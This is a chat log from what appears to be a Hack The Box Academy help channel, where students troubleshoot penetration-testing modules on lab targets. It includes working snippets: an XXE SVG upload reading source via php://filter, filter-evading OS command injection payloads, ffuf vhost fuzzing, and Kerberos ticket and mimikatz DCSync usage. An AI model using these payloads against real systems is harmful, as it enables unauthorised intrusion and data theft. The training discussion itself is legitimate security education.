hello, for the Virtual Hosts section of the infomation gathering am i supposed to use the worldlist from Seclists called namelist.txt under DNS discovery? when i use the list found in the module i get a status code 200 for everything in that list as well as everything in the namelist as well, which is confusing me, some clarity on this would be very much appreciated

[fathom pendant]

Is that the one that asks for domains that have specific flags?

[smoky pelican]

Anyone here so friendly to help me out on the skill assessment of HTTP attacks? :)

[fathom pendant]

If so: you're gonna get a lot of 200s, the filtering comes from the response sizes

[rustic sage]

i can try

[fathom pendant]

It helps if you provide what you've done and what's not working

If you can do so without spoiling*

[minor dome]

Investigating the strange behaviour of Windows Defender that led to a fix

[smoky pelican]

Well, will definitely spoil it if correct..

[minor dome]

lol

you being humble

[next bronze]

are you trying to access the shares of the machine that you coerced?

[fathom pendant]

If it's correct, then you don't need help

[static roost]

@next bronze correct

dir \\host_name\c$

[next bronze]

did you renew the ticket?

[static roost]

Yes. I attempted renewing the ticket as well as explicitely requesting a TGS (asktgs) in Rubeus.

[stark wraith]

btw how i can earn more cubes for lessons

[next bronze]

I'd personally transfer the kirbi out, convert to ccache and try to authenticate from my linux host to make sure it's valid

[fathom pendant]

Participate in ctfs, Participate in the seasons on app.hackthebox.com, buying them, buying a subscription

[static roost]

@next bronze thanks. I'll try that.

[next bronze]

and that was successful?

[oblique spoke]

Hi! Currently im doing Documentation and reporting modul. I used hashcat to crack one of the svc admin group user || solarwindsmonitor || and now i dont know what to use to log in with that credentials to the DC01. Can someone please help me with that?

[stark wraith]

without pay and ctf?

or just it

[fathom pendant]

?

[static roost]

no it was not. Still get access denied.

[stark wraith]

earn cube

[fathom pendant]

Those are the only ways

Occasionally htb does giveaways for the annual subs

[next bronze]

so you can coerce the ticket and see it in rubeus montior, but can't do anything with it?

weird

[minor dome]

one day i become so good everybody here wil regrets me

[static roost]

@next bronze exactly. very weird.

but doing the exact same thing against the Domain controller works perfectly.

[fading coyote]

correct, i noticed that however when i use the list provided by the module the only one that shows is ||app|| and when i use the namelist in the seclist part nothing else shows, when it comes to size i am trying to find how i can filter out based on less then however all i am seeing is filtered by at least size
this the command i am currently using
||ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -u http://10.129.42.195 -H "HOST: FUZZ.inlanefreight.htb" -fs 160||

[next bronze]

check what acesss the user has, can't remember exactly but maybe try dcsync

[fathom pendant]

-fs is a negative filter

Meaning it won't show responses of that size

[next bronze]

hmm I've done a similar thing as this but just turned it into a ccache and it worked, maybe try that

try using both impacket and cme/nxc

[lusty thicket]

is that right?

[fading coyote]

i see, i will look through the help menu and find the correct one

thank you for the help

[fathom pendant]

Btw they give you an example vhost iirc to maybe use as a type of baseline

[minor dome]

yes and it will be too late

trust me ok

[fading coyote]

yea they use -fs in the example.. i mean i could also use it in the reverse montion xD

[lusty thicket]

you’ve been in this server for 3+ years

[minor dome]

yep

[fathom pendant]

I meant above the questions

[minor dome]

few know the truth
is fine

[lusty thicket]

and still haven’t figured out how to verify your account

[minor dome]

dw wnted

[fading coyote]

i am confusion on what you mean i will give it a shot rn tho

[minor dome]

swweet justice is on the way

again trust

[fathom pendant]

Perhaps the larger response size is the one to filter against

[minor dome]

if u watched any movie thats hoiw it go

[fading coyote]

yes

[minor dome]

everytime

[fading coyote]

thats literally what i am doing rn xD i guess

i just overthought what you said

[fathom pendant]

If you visit the pages that you were getting, you'd see something in common 😉

[fading coyote]

i got them all at once

used a bash sctipt to output all of them and my kernel was going nuts

i just wish the list was smaller so i dont have to wait on 150k names xD

[fathom pendant]

There's a filter loop btw in the section

And you really only need to run it a minute to see the pattern

[minor dome]

let me say u have good pfp and good winner attitude apreciate u being here

[fading coyote]

you mean the while read loop right?

[fathom pendant]

Yes

[minor dome]

and you too macie

[fading coyote]

thank you kind person, i sometimes use discord for work so gotta keep it professional and i appreciate all the help yall do especially marcie, you are a fucking machine xd

[minor dome]

:❤️🥇

i go eat

[fathom pendant]

Np, sometimes it also helps to just ask a question. You can sometimes realize where you fucked up from that

[misty hazel]

I have potentially a very simple stupid question

[fathom pendant]

The answer is yes

[misty hazel]

I'm in the NMAP fundamentals module, and am stuck on the question that asks me to get the host name of the target. I've tried running the Nmap scan with DNS resolution, done service scans, verbose logging, etc. and I cannot get a hostname. is there something obvious here I'm missing?

The output of one of those scans gave me a workgroup, but did not give me a host name

[fathom pendant]

Script and version scans can sometimes reveal a host-name

Also reading the output of the scan carefully can help

[mighty ruin]

Hi does anyone know a better tool/method to crack a WiFi password without the need of using numerous wordlists to figure out the right one by chance like in aircrack/wifite? btw I'm using the methods I learn on my own private router

[fading coyote]

yea the loop i have is smiliar this what i am using
||while IFS= read -r host; do
echo "====================================="
echo "Host: $host"
curl -s -H "Host: $host.inlanefreight.htb" http://10.129.42.195
done < vHosts.txt||

[misty hazel]

I am an idiot and it was right in front of my face

[lusty thicket]

this channel is for academy modules

[misty hazel]

thank you

[fading coyote]

yea unfortuanlly every error i fix brings out a new one xD

[mighty ruin]

Where can I ask my question may I ask?

[fading coyote]

ey learning opportunities :p

[fathom pendant]

Yeah that's why you're getting the whole request

[lusty thicket]

try in #1024429874246590575

[mighty ruin]

Thx

[fading coyote]

i add a grep "HTB" to filter it out more

but i only got one and bunch of bad requests so i need to fix up the command again

[fathom pendant]

I mean the simpler way is to use the for loop in conjunction with the other tool

You really only need to get the response/content-size

You don't need the whole page

After that it's finding out the common size and filtering that out

[fading coyote]

it wont print the whole page tho when i do grep tho all those in the list are the common size already

[fathom pendant]

Which is what the section shows how to do

[fading coyote]

oh ye

i know what you mean now, i just like torturing myself and doing it the long way

[fathom pendant]

-fs will filter out the size

[fading coyote]

xD

[fathom pendant]

Meaning you'll only see responses that dont match

[fading coyote]

that's what i did to get them with ffuf ||ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -u http://10.129.42.195 -H "HOST: FUZZ.inlanefreight.htb" -fs 10918||

[fathom pendant]

Aka where the flags are

100x faster than iterating a for-loop

[fading coyote]

ye

just chose the long way i guess :p

[fathom pendant]

Then it's just sifting that output

¯_(ツ)_/¯

The l337 fl4g 4 one is funny

[fading coyote]

:p gotta do it for the memes

but i really need to be careful when i make lists for this stuff

gotta remember that spaces actually matter... it fucked up the loop the first time

[fathom pendant]

Anyway you can do it with curl/grep it just takes infinitely longer

[static roost]

Just tried impacket. Getting KeyError: 1 on line 315 in "./impacket/lib/python3.8/site-packages/impacket/krb5/ccache.py". Converted with ticketConverter.py, no issues there. I'll try with crackmapexec next. Need to download as I'm using ubuntu.

[fading coyote]

true true

[next bronze]

just install netexec instead, same thing but better and updated

[sterile epoch]

Hi its been a few days since I started bruteforcing ssh from the assessment in login brute forcing. I created a password wordlist with the employee name, and using a username generator I generated a user list. I then filtered the word list using the filters in the prevvious section. Please help

the brute force is just not working

my machines are just getting expired before the attack ends

[buoyant void]

Keep your lists simple, I made the mistake of adding way too much information for the custom wordlist making the wordlist ridiculously long

[lusty thicket]

if you bruteforce the right username it won’t take more than 5 mins

[haughty stirrup]

[sterile epoch]

I just put the user's full name in cupp and then started it along with leet, spl chars and random numbers

anything else should I try?

[buoyant void]

Try a list with just a first name first with special chars. etc. and then make it more complex if needed

[lusty thicket]

is that the gates user?

[sterile epoch]

no the wizard

[sterile epoch]

the min requirements are 8 size, spl chars and numbers

[lusty thicket]

okay try every username you’ve generated(cancel every 10 mins)

[sterile epoch]

ok

[lusty thicket]

and i suggest you use a wordlist with all filters applied

[buoyant void]

Yeah, a First name + spl chars, leet, and numbers will get you to minimum requirements

[sterile epoch]

btw what is leet?

they never explained it

[lusty thicket]

replacing a character with a similar character

e - 3, A - 4

[buoyant void]

Also I'm assuming you already have been doing this but in case you forgot, definitely trim your list after its generated using sed as explained in the module,

[lusty thicket]

etc

[astral inlet]

hi 🙂 any XSS pro in here ?

[analog dock]

https://dontasktoask.com

[astral inlet]

can´t get rid of this :

[next bronze]

close the img tag before including the other stuff

[astral inlet]

https://academy.hackthebox.com/module/103/section/984

[sterile epoch]

Yes I did use the sed filters

[minor dome]

yes but maybe they want to ask secretly in dm to not disclose personal

[analog dock]

Then this wouldn’t be the channel to ask

[minor dome]

where

why not if its on a specific module

or if they want to adapt the question to whom is wilin to answer

[analog dock]

Then it wouldn’t be personal

[minor dome]

semi personal yes

[astral inlet]

thx i was so blind 🙂

[minor dome]

asking to ask is actually pretty polite

[analog dock]

Read the site

[minor dome]

and ppl wont be mean to him after he asks soimething offtopic

[minor dome]

:👍

[astral inlet]

no () around the falg

[stark vortex]

also you may also not wanna post the flag in the chat, spoilers for other people

[median gale]

the answers in academy are really really irritating!!

[ornate olive]

What does it mean when a port is open|filtered

It’s both open and filtered?

Im working on network enumeration with NMAP and im in the firewall and IDS/IPS Evasion - medium lab

It was my VPN that messed me up 😔

Nevermind 😃

[rose swallow]

Module: Advanced XSS and CSRF Exploitation
Section: XSS Filter Bypasses

Bypass xss filter but payload on exploitserver.htb doesn't sent info to exfiltrate server. Any hints?

[raven lagoon]

Am i doing smth wrong? @fathom pendant ❤️

[wise badger]

Hello Academy folks at HTB ! I am having issues connecting to the academy VPN servers. In the past weeks both have been working. In my network and workstation everything seems to work alright. I have IPv6 as well. The port 1334 appears to be filtered for me. Is there anyone who can confirm it's working in the past half an hour or so to see that it is not working only for me or it's a generic problem?

[astral inlet]

probably answer 1

[raven lagoon]

I should have no? Do i have to reboot the network

[astral inlet]

maybe the user has no rdp access

[raven lagoon]

oh i didnt ran the cmd as adm

[astral inlet]

you have a BH dump ?

[raven lagoon]

you were right btw

i forgot to put the creds lmao

[astral inlet]

😉

[fluid basin]

AD Enumeration & Attacks - Skills Assessment Part I
Cant find any cleartext creds on MS01 with mimikatz running with elevated privileges and no hashes will crack, any tips are appreciated.

[astral inlet]

maybe use another approach ? 🙂

[wise badger]

OK, I managed to complete the module I wanted for today, using the in-browser terminal, so never mind. However, I could not figure out why I was blocked from both VPNs. I will try later this week, I am off to bed now..😴

[astral inlet]

EU or US ?

[wise badger]

EU

[astral inlet]

had the same yesterday

[wise badger]

should I be able to see UDP 1337 as an open port via nmap?

[astral inlet]

i use eu udp today

[wise badger]

With nmap the port is 'open|filtered' being UDP but I still can't connect. OK no problem, I will try later this week..

[astral inlet]

where did you nmap too ?

[fathom pendant]

Pivoting module? A-->B-->C read the section carefully

[raven lagoon]

as you said i should connect to the C network from te B

[wise badger]

To edge-eu-academy-1.hackthebox.eu and edge-eu-academy-2.hackthebox.eu , port 1337 UDP

[raven lagoon]

its not the case bc the host is down

[fathom pendant]

A is foothold, B is second machine C is final

If you do ipconfig does that system have a 172.16.6.x interface?

[raven lagoon]

Oh i see

no it doesnt

[fathom pendant]

Then that's why you can't reach the final point

There's a middle host that needs to be pivoted into, as I said: read the section

[raven lagoon]

so the B target is 172.16.5.19

[raven lagoon]

y you are right

sry

[fathom pendant]

I tend to be, especially if I had some troubles with it at first

Or if I've given the same answer a million times

[astral inlet]

yes 😉

[raven lagoon]

dont hate me

[dire abyss]

im not digging the search feature on academy... does anyone remember the module where it teaches you how rewrite the hash.. i think thats what your doing. basically hiding the hash from detection of AV and it gives the example of virus total.

[astral inlet]

https://tenor.com/view/ateam-plan-together-i-love-it-when-hannibal-gif-19272497

[dire abyss]

found it! encoders - using the metasploit framework

[empty atlas]

how do I open .docx parrot os

[dire abyss]

office libre

or google docs

[empty atlas]

Do you have to sign into google docs?

[dire abyss]

yep

[static roost]

@next bronze Keep getting this "KeyError: 1" with impacket. crackmap and netexec give "Error occurs while reading from remote 104". Gotta do some serious digging here. Scratching my head on this one. I appreciate the help thus far.

[heavy marsh]

I'm in the using web proxies module skill assessment and cannot get the lucky.php question to work. I am sending the request, editing the repsonse with "enabled" and then sending the edited repsonse to repeater, but it keeps repeating the unedited response.

[fathom pendant]

As indicated, just gotta get lucky

[heavy marsh]

Luck is not the issue, for some reason burp is not sending the edited request to repeater, so I'm just repeating the unedited.

So from what I understand looking at the modules a bit more is that sending and edited response to repeater is only just sending the original request?!

I'm just manually brute forcing it at this point then

Okay, so it looks like manually forwarding and then editing after each click did it. I feel like repeater should work for this. Anyone have success with a workaround or is my method the only way.

[heavy marsh]

I keep sending a modified response to repeater, but it doesn't change

Still has "disabled"

Better screenshot

How do I get repeater to repeat the response?

When I send the edited response to repeater it only sends the request.

[patent niche]

Are the certs not working?

[fathom pendant]

?

"Not working" is so vague

Can you elaborate what you're asking

[patent niche]

"STATE\ WAIT"

[fathom pendant]

That's not "certs" that's the vpn

Try changing regions and downloading a new one

Also it's better to do this from the command line

Do you have a tun0 interface?

[patent niche]

The problem is the cert not the interface

doesn't metter if is on windows or parrot OS

.

[fathom pendant]

Download new vpn and try that

It looks like yours got goofed up

[crystal steeple]

trynna get the rev shell on the remote/reverse port forwarding section

but there no rdp creds

just wanted to try the method shown in session

nvm

[twilit cipher]

Just going to leave this here for future people who search this channel for the "Introduction to NoSql Injection Skills Assessment II." Ping me, I can provide sensible guidance. (Not answers!)

[next bronze]

I've never seen that error from impacket, I assume you've restarted the target?

[crystal steeple]

the tunneling,pivoting module is so fun lmao

[shut wraith]

Wordpress xmlrpc.php

curl -v -X POST -d "<?xml version='1.0'?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://yourblog.com/post-that-links-to-target</string></value></param><param><value><string>http://blog.inlanefreight.com/target-post</string></value></param></params></methodCall>" http://blog.inlanefreight.com/xmlrpc.php
I am trying to get a pingback to work through this curl command. Can you please help me make it work. I also tried using the below script:

<methodCall>
<methodName>pingback.ping</methodName>
<params>
 <param>
  <value>
   <string>http://source/url/here</string>
  </value>
 </param>
 <param>
  <value>
   <string>http://target/url/here</string>
  </value>
 </param>
</params>
</methodCall>```
Any help would be appreciated

[inland mesa]

i am on pivoting, tunneling and port forwarding on the skill assessment and i am rdp'd into the first internal host. How can I transfer a file from the windows to my kali machine? Or to establish a remote connection between the two? I can't copy and paste between each other and when I try pinging the kali machine it says Destination unreachable. I also want to use https://github.com/Xre0uS/MultiDump?tab=readme-ov-file but not sure how to upload that to the windows host since no internet and apps.

[fathom pendant]

Download to your system, copy to target

[inland mesa]

Tried that won't let me paste into rdp session

paste is blanked out

[fathom pendant]

I mean copy as in: download

Aka transfer

[inland mesa]

how do i do that

[fathom pendant]

Well, there's a whole module regarding ways to file transfer

Most rdp tools have a way for you to mount a drive

[inland mesa]

ok ill try

[fathom pendant]

Xfreerdp has the /drive: option, and +clipboard

[inland mesa]

Ah cool didn't know about the +clipboard thanks

holy fudge that worked thanks

[white basalt]

Hello! May I occupy your several minutes time? I have problem when RDP to target with user "htb-student" and password "Academy_student_AD!" . Is this credentias wrong?

[fathom pendant]

Try wrapping the password in single quotes

[white basalt]

Hello MarcieLee! Thanks for reply. I try but still wrong. I'm doing ACTIVE DIRECTORY ENUMERATION & ATTACKS -- ACL Enumeration

[fathom pendant]

The error looks also to be kerberos error related

[mellow delta]

https://academy.hackthebox.com/module/77/section/859I am struggling with this module today. I have run nmap on the Ip and know that port 22 and 80 are open. I found the admin login page and was able to login. I have looked around there and didn't see anything on first inspection that I knew how to manipulate. I tried to ssh into the admin user with the same password but it failed. Not sure where I should start or go next

I also ran searchsploit with the apache server and ssh versions but didn't find any results

[fathom pendant]

I've had little to no issues using rdp through xfreerdp or remmina

[fathom pendant]

Admin login can verify the version of plug-ins to search for exploits

[mellow delta]

thanks, let me go back and re check that

there are two plugins with very generic names and their versions

when I run searchsploit against them it finds nothing

I think I found it

[white basalt]

I also try xfreerdp and remmnia, both have a black screen.

[fathom pendant]

Press enter

[white basalt]

IT's working! both xfreerdp and remmnia. Thank you so much MarcieLee!

[mellow delta]

when i run my msf expoit it fails due to authentication error, but I know the username and paswd are correct, target uri is just the /admin.php

I really thought I had it lol

I have found what I think is a shell script that somehow has my kali machines IP in it

[fathom pendant]

Well if it failed then that's likely the case

Also: your lhost was probably not set right btw

Your lhost needs to be the tun0 [htb vpn] ip

[mellow delta]

it is

[fathom pendant]

Also, in most cases, you shouldn't need to mess with targeturi

[mellow delta]

thanky ou

finally found the user.txt flag. now to escalate privilige

[fathom pendant]

Find out what the user can [su]do

Gtfobins is a handy resource as well

[mellow delta]

the msf exploit i ran keeps failing on the target now, waiting for the time on the target to expire in a minute to retry

[fathom pendant]

Well aren't you already user?

Why are you trying to run another exploit?

[dry halo]

in extrasid attack we are using a fake user with sid of enterprise domain admin group of the root domain set and acting like an admin right? kind of like having an fake backstage badge along with the VIP pass for a concert and gaining backstage access? is that correct

[sick frost]

did anyone had problem access the splunk service in attacking common applications module?

[ruby whale]

Try the URL provided in the section + it takes time to load

[topaz locust]

After finishing the injection-attacks skill assessment, I have some questions on why certain things didn't work. Is anyone available that finished the assessment?

[lethal latch]

Sure thing, you can DM

[tidal kelp]

on Attacking Common Applications > Attacking Applications Connecting to Services I get the following error when I try to run the break point. Any ideas what I've done wrong?

[next bronze]

make sure the memory address is correct

[tidal kelp]

Not correct one?

[next bronze]

it can change on different machines because of ASLR, load it into gdb, break at start, then disas main to find the right address

[tidal kelp]

must be doing something wrong, keep comming up with same address

nvm got it to work

[patent yacht]

Stuxbot uploaded and executed mimikatz. Provide the process arguments (what is after .\mimikatz.exe, ...) as your answer.

whats the formula

i found this but it says wrong
||.\mimikatz.exe, lsadump::dcsync /domain:eagle.local /all /csv, exit||

[analog dock]

Wow lol that server side attacks skills assessment was stupid af

[patent yacht]

nvr i found the formula thanks

[limber river]

are you doing CBBH ?

[analog dock]

Yup

Just the path though, want to have that as a base before I move on to cwee

[next bronze]

web monkey

[next bronze]

why not take the cbbh exam

[limber river]

I mean fuck the web , but probably I will do some bb

[limber river]

why taking the exam ?

[analog dock]

Why would I

[next bronze]

for the lols

[analog dock]

Not worth it for me

[iron plaza]

Guys need a bit of clarification from this Javascript snippet from File Upload Attacks - Client Side Validation:

function checkFile(File) { ...SNIP... if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'png') { $('#error_message').text("Only images are allowed!"); File.form.reset(); $("#submit").attr("disabled", true); ...SNIP... } }

this is checking the file extension to match image format but shouldn't it be **OR **instead of AND as in:
if (extension !== 'jpg' || extension !== 'jpeg' || extension !== 'png') { or is this a java thing that I didnt understand

[limber river]

if it's not png and not jpeg and not jpg then it's not image

[iron plaza]

but will it work with an OR function?

[limber river]

if you use OR then you need to change the logic of all the function

like if it is jpg or it is jpeg or it is png then it's image else not image

[iron plaza]

ok makes sense ... guess i was looking at the snippet in a weird way. But thanks for the clarification

[unborn pilot]

Hi someone can give me some advice on the skill assessment of 'HTTP ATTACKS" module ? I got it working I think but i can't get the mail thx

[ruby whale]

Hi in section RDP and SOCKS Tunneling with SocksOverRDP I RDP it First -> RDP to Second -> RDP to third and got the flag but didnt use SocksOverRdp , didnt understood what happened here ( Though I established double pivot using ligolo)

But cant ping third host that is 172.16.6.155 from my host host victor@DC01 is 172.16.5.*

added ip route for both

[limber river]

you need t start the second session

[ruby whale]

Solved

DId this
started new session on new interface*

[ruby whale]

Could you explain why we needed to use SocksOverRDP ? If it was simple using RDP repeatedly?

[limber river]

Idr what was in this section , but you are using ligolo anyway

[ruby whale]

Yes that worked.

Its easy than the other tools.

[next bronze]

it's just a tool to enable a socks tunnel over rdp, for stealth and another thing in your toolkit ig

[limber river]

maybe I should learn how to use C2 , so get things more easier

[next bronze]

you could yeah, but for pivoting ligolo is quite close to cobalt strike's pivot listener function

[limber river]

cobalt is too expensive , maybe I'll take a look at havoc

[next bronze]

yeah nobody buys CS out of their own wallet

[limber river]

ig CRTO give you access to CS in their labs not sure

[next bronze]

it does

[quasi moth]

I am interested, are you planning to make Red Teamer certification or path in the future of Academy?

[next bronze]

me?

[quasi moth]

No, I am for somebody from HTB staff, just don't know how to address them all

[limber river]

the answer will be keep an eye on the academy platform lol

[quasi moth]

Ahah guess you're right

[limber river]

this bloodhound make hacking AD 10 times more easier

[dreamy solar]

Hello I would like to use this

Can you help me plz

[dreamy solar]

finally it isokay but I don't find a flag

[scenic veldt]

FILE UPLOAD ATTACKS - Skills Assessment - File Upload Attacks

I'm trying to execute XXE to read the source code but to no avail. anyone can help me? I'm stuck for three days now. thank you so much

[glass gust]

Hi guys, Im trying to create a program or plug in which would remove ads from a website and then change the source code of the website locally to show my ads instead over wifianyone here have any knowledge of how i could do this? Its my final year project to showcase the vulnerability of public wifi through on the go malvertising

[scenic veldt]

is this correct? or not..

------WebKitFormBoundaryZ6FSmDnp32CClrLM
Content-Disposition: form-data; name="uploadFile"; filename="hello.svg"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>

[mint lodge]

https://academy.hackthebox.com/module/109/section/1037
im stuck of the OS command injection module
the hint says to use the injection character you identified earlier with the PATH variable
here is my injection:

ip=127.0.0.1%0a${PATH}

it passes the filters but no output 😦

help porfavor🥺

[next bronze]

run, echo ${PATH}, what do you see? pick the character that you want to use like the example and use that in your injection command

read the section again to understand how it works

[next bronze]

read #welcome , get verified and ask in #programming. but shouldn't be too hard, it's just adblock but instead of removing ads you're replacing it. ublock is open source, you can read that to understand how it works

[scenic veldt]

zoom out first. write it out as it is. how will you access the path, and what is the path.

[mint lodge]

will do sir thanks

[scenic veldt]

maybe someone can help mine 😦

[mint lodge]

i gave up on the skill assessment need to try it again

[mint lodge]

from what i remmber it does involve an xxe with svg or something like that

[limber river]

file Upload ? leeme check

[mint lodge]

im still stuck on this ffs 😦

read the section a couple more times and i still dont get it

the %0a is passing the filters but nothing gets executed

[scenic veldt]

you need a command line 🙂 like cd, ls, something

[scenic veldt]

i'm done!! figured it out. haha thanks

[twilit ruin]

you have to return "ls /home"

[mint lodge]

ip=127.0.0.1%0als${IFS}${PATH:0:1}home
i tried that and still nothing

[limber river]

nice , I am sorry , I am working on other lab

[scenic veldt]

it's okay! 🙂 thank you!

[twilit ruin]

that should work

[mint lodge]

well it does'nt 😦

[twilit ruin]

that commands right so it must be something else

[mint lodge]

do i restart the vm?

[scenic veldt]

where are you sending it

[mint lodge]

with burp

[stark vortex]

are you sure you can read home from the directory your injecting into?

[scenic veldt]

i tried your path and it worked

maybe restart the vm

[mint lodge]

will do ty

got it thanks

[keen kelp]

hello

gm fam

anyone is interested in making money with a bot?

[fathom pendant]

This channel isn't for prolabs my guy

[autumn palm]

my bad.

[fathom pendant]

No, read #rules and #welcome

[fathom pendant]

#prolabs-dante but you'll have to pass the reading comprehension test that is #welcome

[keen kelp]

🧐

[fathom pendant]

The bot thing

1. sounds sketchy at best
2. seems like promotion
3. wouldn't even belong in this channel

[keen kelp]

Sorry. my bad

[mint lodge]

u should be a moderator tbh

[jaunty basin]

hello

i m new here

can i ask how get i start

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[old vector]

I have a question about the footprinting module. module/112/section/1061 . When using curl i see on hack the box, they come back with way more domains than me i post a picture and show. mine only shows 2 where as theirs with the same command shows 22. Also when i use dig any . Nothing comes back.

any help? is this normal

[analog dock]

Send por favor

Painful exercise

[old vector]

nevermind on my message I solved my problem. I was using ad-blocker dns settings. simply removed it temporarily now returns big lists

[next bronze]

alright

[limber river]

cbbh is full of this kind of labs , just to let you know

[old vector]

actually i do still have a qusetion. going thru the module it says too type this : for i in $(cat subdomainlist);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f1,4;done

If i do that it pops back an error saying cat: subdomainlist: No such file or directory

[limber river]

you need to create the subdomainlist first

[old vector]

just a a txt or list file

[analog dock]

Didn’t have too much issues with it yet and I’m around 80%

[limber river]

at this point you suppose to have a list of subdomains on this file

[limber river]

wooow that was fast

[analog dock]

Not that fast, I already did like 56% with cpts lol

[fathom pendant]

I dont think this exercise has you go against inlanefreight.com

But it's been a minute

[limber river]

I forgot that lol

[old vector]

it says to curl -s https://crt.sh/\?q\=inlanefreight.com\&output\=json | jq . Then curl -s https://crt.sh/\?q\=inlanefreight.com\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\n/,"\n");}1;' | sort -u Then for i in $(cat subdomainlist);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f1,4;done So where is the domanlist file supposed to come from im follwing straight donw the screen

[fathom pendant]

Ohhh yeah crt.sh occasionally breaks

Also I'm assuming you're saving the filtered crt.sh output to a file

[junior oxide]

on the password attack module under linux credential hunting i run the command "hydra -l kira -P mut_password.list ftp://10.129.21.32/" and i still get no results am i missing something here ?

[fathom pendant]

Patience : the password should be in the mutated file: it might help to increase the threads

[rustic sage]

Hi

[onyx dust]

hey ganesh

[ruby whale]

I am in love with ligolo damn what a tool

[limber river]

hahahaha not when a listeber fail and endless trash pops up in the terminal

[ruby whale]

I guess I am enjoying doing skill assessment of Pivoting, because I succeeded in doing file transfer (was pain point for me)

[grave kayak]

I purchased gold monthluy plan just now because it said gold membership gets access to all tier3 modules, but i see i cannot access any tier3 modules, I want a immediate refund and cancellation please.

[languid fjord]

The naming isnt the best, gold annual is tier 3, gold monthly gives you cubes every month

If you wish for a refund, you'll need to reach out to support who can provide this for you

[tranquil gull]

Hey I am working on the ACL Enumeration section for the Active Directory module and stuck on
the ObjectAceType of the first right that the forend user has over the GPO Management group? (two words in the format Word-Word)

[languid fjord]

https://help.hackthebox.com/en/articles/5987511-contacting-academy-support

[grave kayak]

What is the phone number or chat for support?

[languid fjord]

See the link above please 🙂

Theres a chat system on the site, or [e-mail]

[grave kayak]

thanks

[urban wadi]

what does +CPE credit submission do?

[mint lodge]

https://academy.hackthebox.com/module/109/section/1039
the question in this module is wild but i think i got it right and still not output here is my injection:

127.0.0.1%0afINd${PATH:0:1}usr${PATH:0:1}share${PATH:0:1}%09$(tr%09'!-}'%09'"-~'<<<})%09gReP%09RooT%09$(tr%09'!-}'%09'"-~'<<<})%09gReP%09mysql%09$(tr%09'!-}'%09'"-~'<<<})%09TaIl%09-n%091

i get no output not even the ping commands

[languid fjord]

https://help.hackthebox.com/en/articles/6009966-cpe-allocation-htb-academy

[mint lodge]

for more context im suppose to execute this command:
find /usr/share/ | grep root | grep mysql | tail -n 1

[limber river]

try to run it on your terminal and see what's happening

[urban wadi]

basically social score

[mint lodge]

uhhh nothing

[raven lagoon]

real

[sinful olive]

Hi where can I find the template for the report of the exam? I'd like to practice with it a bit

[acoustic owl]

#cpts message

[languid fjord]

https://docs.sysreptor.com/htb-reporting-with-sysreptor/

SysReptor has templates avail

For CPTS/CBBH/CDSA these are official, CWEE is not, however

[crystal steeple]

wait isnt marcielee one of htb workers?

[oblique spoke]

Hi i got a bit stucked at attacking enterprise networks external information gathering finding the associated FQDN subdomain. Can somebody help please?

[languid fjord]

no

Only people with HTB Staff role are employed by HTB

[raven lagoon]

why did you refuse her

she supports 24/7

[mint lodge]

true

[mint lodge]

it seems like this: $(tr '!-}' '"-~'<<<}) is making me get no output any idea how i can use | if its black listed other than that?

[next bronze]

treat AEN as a mock exam, only ask for help if you're really out of ideas, also the module itself is a walkthrough

make sure you're sending the right number of requests, every millisecond for +/- 1 second from the timestamp, and the server is in UTC so you'll need to convert it

[oblique spoke]

I tried again one of my idea and it worked secound time

Sometimes i gibe the right answer and it doesnt accept it, maybe its a problem, maybe im.an idiot idk

[crystal steeple]

i see

[nimble lance]

Before i ask my question, is there a FAQ?

[potent ermine]

I'm not sure, but you can try ctrl+f on the modules channel and look for the module/section you're on to see prior discussions. You can also try googling the module/section and look at hackthebox forums.

[old vector]

im still havoing problems with curl -s -o subdomailist https://crt.sh/\?q\=inlanefreight.com\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\n/,"\n");}1;' | sort -u .. the file that comes out simply has html inside and says too many requests. ive been on this page for two days somebodyd pls help me if you have time

i spelled subdomainlist wrong there but you get the idea

will someone who has time privat message me and help

[scenic elk]

Hi everyone, this is my first time sending a message on this server. I've currently finished the "Learning Process" modue that i took for various reasons. However, I don't think i understood the "Relation-Oriented-Questioning" model correctly. It seems a bit convoluted or maybe i'm just not able to apply it to any situations due to a lack of understanding. Does anyone have more experience using the model?

[next bronze]

did you convert to UTC and is the string used to generate the token correct?

[plush solstice]

Any confirmation of advanced cdsa and cpts paths with the new cwee path announcement?

[acoustic owl]

No, so far there is no confirmation. However, there are first Tier III modules that indicate Advanced CPTS

[lunar imp]

Hello everyone

[tidal kelp]

What modules are those?

[acoustic owl]

For example

• NTLM Relay Attacks
• ADCS Attacks

[tidal kelp]

Cool

Interesting to see were this will end up

[mint lodge]

I'm still stuck on Advanced Command Obfuscation in the COMMAND INJECTIONS module
this is the payload im using:

127.0.0.1%0a$(tr%09"[A-Z]"%09"[a-z]"<<<"FiNd")%09${PATH:0:1}usr${PATH:0:1}share${PATH:0:1}%09bash<<<$(base64%09-d<<<fA==)%09$(tr%09"[A-Z]"%09"[a-z]"<<<"gReP")%09root%09bash<<<$(base64%09-d<<<fA==)%09$(tr%09"[A-Z]"%09"[a-z]"<<<"gReP")%09mysql%09bash<<<$(base64%09-d<<<fA==)%09TaIl%09-n%091

this is the command im suppose to execute:
find /usr/share/ | grep root | grep mysql | tail -n 1

i need help i dont see another way of doing it

[autumn pilot]

start with something basic, this is quite the command

[mint lodge]

i started with something basic and got to this after trial and error

the only way to write | is by base64 encoding and i know this mothod: $(tr%09"[A-Z]"%09"[a-z]"<<<"gReP") works for escaping blacklisted words

so yeah thats how the payload should look like i think

unless there is another way to use "|" in the payload that im not seeing

I would appreciate a clue

because im hard stuck on this🥲

[autumn pilot]

With what you've ended up is basically an overkill

[mint lodge]

well without all of those evasion technuiqes im getting invalid input witch basicly means that the filters dropped the request

i tried to use %7c which is | encoded but the filters recognize it

[split summit]

Please help #1024429874246590575

[next bronze]

